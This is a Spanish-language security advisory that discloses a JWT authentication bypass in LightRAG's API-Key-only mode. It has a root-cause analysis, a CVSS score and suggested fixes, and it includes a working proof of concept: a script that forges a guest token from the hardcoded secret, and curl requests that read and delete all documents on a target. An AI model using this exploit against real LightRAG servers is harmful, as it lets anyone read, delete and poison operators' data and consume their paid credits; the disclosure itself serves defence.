Resumen

Cuando LightRAG se despliega con LIGHTRAG_API_KEY configurado pero AUTH_ACCOUNTS sin definir (modo de autenticación por API-Key documentado oficialmente), la protección X-API-Key puede ser eludida por cualquier atacante remoto no autenticado. La evasión no requiere contacto previo con el servidor víctima: un atacante puede generar offline un JWT de invitado válido utilizando el DEFAULT_TOKEN_SECRET hardcodeado en el repositorio y, a continuación, invocar cualquier endpoint protegido por Depends(combined_auth), incluyendo operaciones destructivas como DELETE /documents, POST /documents/upload, /documents/clear_cache y POST /query.

Esta vulnerabilidad es distinta de la corregida anteriormente en GHSA-mcww-4hxq-hfr3 / CVE-2026-30762, que únicamente cubría el caso configurado con AUTH_ACCOUNTS. El perfil de despliegue exclusivo con API-Key sigue siendo completamente explotable en la rama main actual (commit 157c331, v1.4.15).

Causa raíz

Tres problemas independientes se combinan para producir la vulnerabilidad:

  1. lightrag/api/config.py:54 incluye un secreto JWT hardcodeado por defecto:
python
DEFAULT_TOKEN_SECRET="lightr...key!"

  1. lightrag/api/auth.py:28-38 recurre a DEFAULT_TOKEN_SECRET con únicamente un aviso en el log cuando AUTH_ACCOUNTS no está configurado. La corrección de CVE-2026-30762 solo lanza excepción cuando AUTH_ACCOUNTS está definido, por lo que la ruta exclusiva de API-Key queda silenciosamente vulnerable.

  2. lightrag/api/lightrag_server.py:1140-1186 expone GET /auth-status y POST /login sin ninguna dependencia de autenticación. En la configuración exclusiva de API-Key, auth_handler.accounts está vacío y ambos endpoints generan y devuelven incondicionalmente un JWT de invitado firmado.

  3. lightrag/api/utils_api.py:214-216 dentro de combined_dependency cortocircuita la autorización ante cualquier token de invitado válido cuando auth_configured es falso, antes de llegar a la comprobación de X-API-Key en la línea 237:

python
if not auth_configured and token_info.get("role") == "guest":
    return

Prueba de concepto (token generado offline, sin contacto con el servidor)

Verificado contra una instalación limpia del commit 157c331 ejecutándose localmente con únicamente LIGHTRAG_API_KEY=super-...ass configurado.

bash
$ python3 - <<'PY'
import jwt
from datetime import datetime, timedelta, timezone
print(jwt.encode(
    {"sub":"guest","role":"guest",
     "exp":datetime.now(timezone.utc)+timedelta(hours=24),
     "metadata":{"auth_mode":"disabled"}},
    "lightrag-jwt-default-secret-key!",
    algorithm="HS256"))
PY
eyJhbGci...

# Control: sin credenciales, rechazado correctamente
$ curl -s -w "HTTP %{http_code}\n" http://target:9876/documents
{"detail":"API Key required"}
HTTP 403

# Control: API key incorrecta, rechazado correctamente
$ curl -s -w "HTTP %{http_code}\n" -H "X-API-Key: wrong-key" http://target:9876/documents
{"detail":"Invalid API Key"}
HTTP 403

# Evasión: JWT de invitado generado offline, aceptado
$ curl -s -w "HTTP %{http_code}\n" -H "Authorization: Bearer ***" \
    http://target:9876/documents
{"statuses":{}}
HTTP 200

# Confirmación destructiva: DELETE /documents con el mismo token
$ curl -s -X DELETE -w "HTTP %{http_code}\n" -H "Authorization: Bearer ***" \
    http://target:9876/documents
{"status":"success","message":"All documents cleared successfully. Deleted 0 files."}
HTTP 200

El JWT de invitado tampoco necesita generarse offline: GET /auth-status lo entrega a cualquier solicitante, incluso cuando el servidor se inicia con LIGHTRAG_API_KEY configurado. Cualquiera de las dos vías (offline o /auth-status) produce la misma evasión.

Impacto

Cualquier instancia de LightRAG accesible en red y configurada con LIGHTRAG_API_KEY definido (es decir, el operador cree que el servidor está protegido) y AUTH_ACCOUNTS sin definir (es decir, optó por no usar el flujo de login con contraseña) queda completamente accesible para cualquier llamante anónimo. Esta configuración está documentada como el modo de autenticación simple por API-Key en docs/LightRAG-API-Server.md, por lo que se espera que sea habitual en producción.

Un atacante puede:

  • Leer y eliminar documentos arbitrarios (/documents, DELETE /documents).
  • Subir documentos y texto arbitrarios para su ingestión (/documents/upload, /documents/text, /documents/texts, /documents/file_batch, /documents/scan).
  • Limpiar cachés de LLM y embeddings (/documents/clear_cache).
  • Inspeccionar y modificar el grafo de conocimiento (/graph/*).
  • Ejecutar consultas arbitrarias que consumirán créditos de pago de LLM y embeddings (/query, /query/stream).

Dado que el servidor puede estar expuesto detrás de proxies inversos corporativos que confían en LIGHTRAG_API_KEY, esto también permite al atacante eludir la autenticación perimetral que el operador asumía como suficiente.

CVSS sugerido

code
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L

Puntuación 7.5 (Alto). No autenticado, accesible por red, afecta a la confidencialidad e integridad de todos los documentos ingestados y grafos de conocimiento. El impacto en disponibilidad se produce mediante borrado de cachés y agotamiento de créditos.

Corrección sugerida

Cualquiera de las siguientes medidas cierra individualmente el vector principal; se recomienda aplicar las tres para defensa en profundidad:

  1. Eliminar el fallback hardcodeado. Replicar la corrección de CVE-2026-30762: rechazar el arranque (o emitir un secreto efímero generado aleatoriamente que no se exporte) siempre que TOKEN_SECRET no esté definido, independientemente de AUTH_ACCOUNTS.

  2. Proteger /auth-status y /login cuando LIGHTRAG_API_KEY está configurado. Exigir Depends(combined_auth) o dejar de emitir tokens de invitado cuando api_key_configured sea verdadero.

  3. Corregir el cortocircuito en combined_dependency. No aceptar tokens de invitado como autenticación cuando api_key_configured sea verdadero; exigir siempre una cabecera X-API-Key válida en esa configuración.

Versiones afectadas

  • Rama main hasta el commit 157c331 (2026-04-15).
  • Versión más reciente v1.4.15 y todas las versiones anteriores que incluyen la ruta de código exclusiva de API-Key.

Antecedentes revisados

  • GHSA-8ffj-4hx4-9pgf / CVE-2026-39413: JWT alg:none. No relacionado.
  • GHSA-mcww-4hxq-hfr3 / CVE-2026-30762: secreto JWT hardcodeado combinado con AUTH_ACCOUNTS. Corregido por PR #2869, que explícitamente no cubre la configuración exclusiva de API-Key.
  • Búsquedas realizadas en issues y PRs: "guest token bypass", "DEFAULT_TOKEN_SECRET", "hardcoded secret", "auth-status", "api key bypass". No se encontró ningún informe previo que cubra este vector.

Descubrimiento

Encontrado durante una revisión de seguridad externa del flujo de autenticación de la API de LightRAG. El reportador puede ser acreditado públicamente como "patchmyday (Jason Zhang)" tras la divulgación.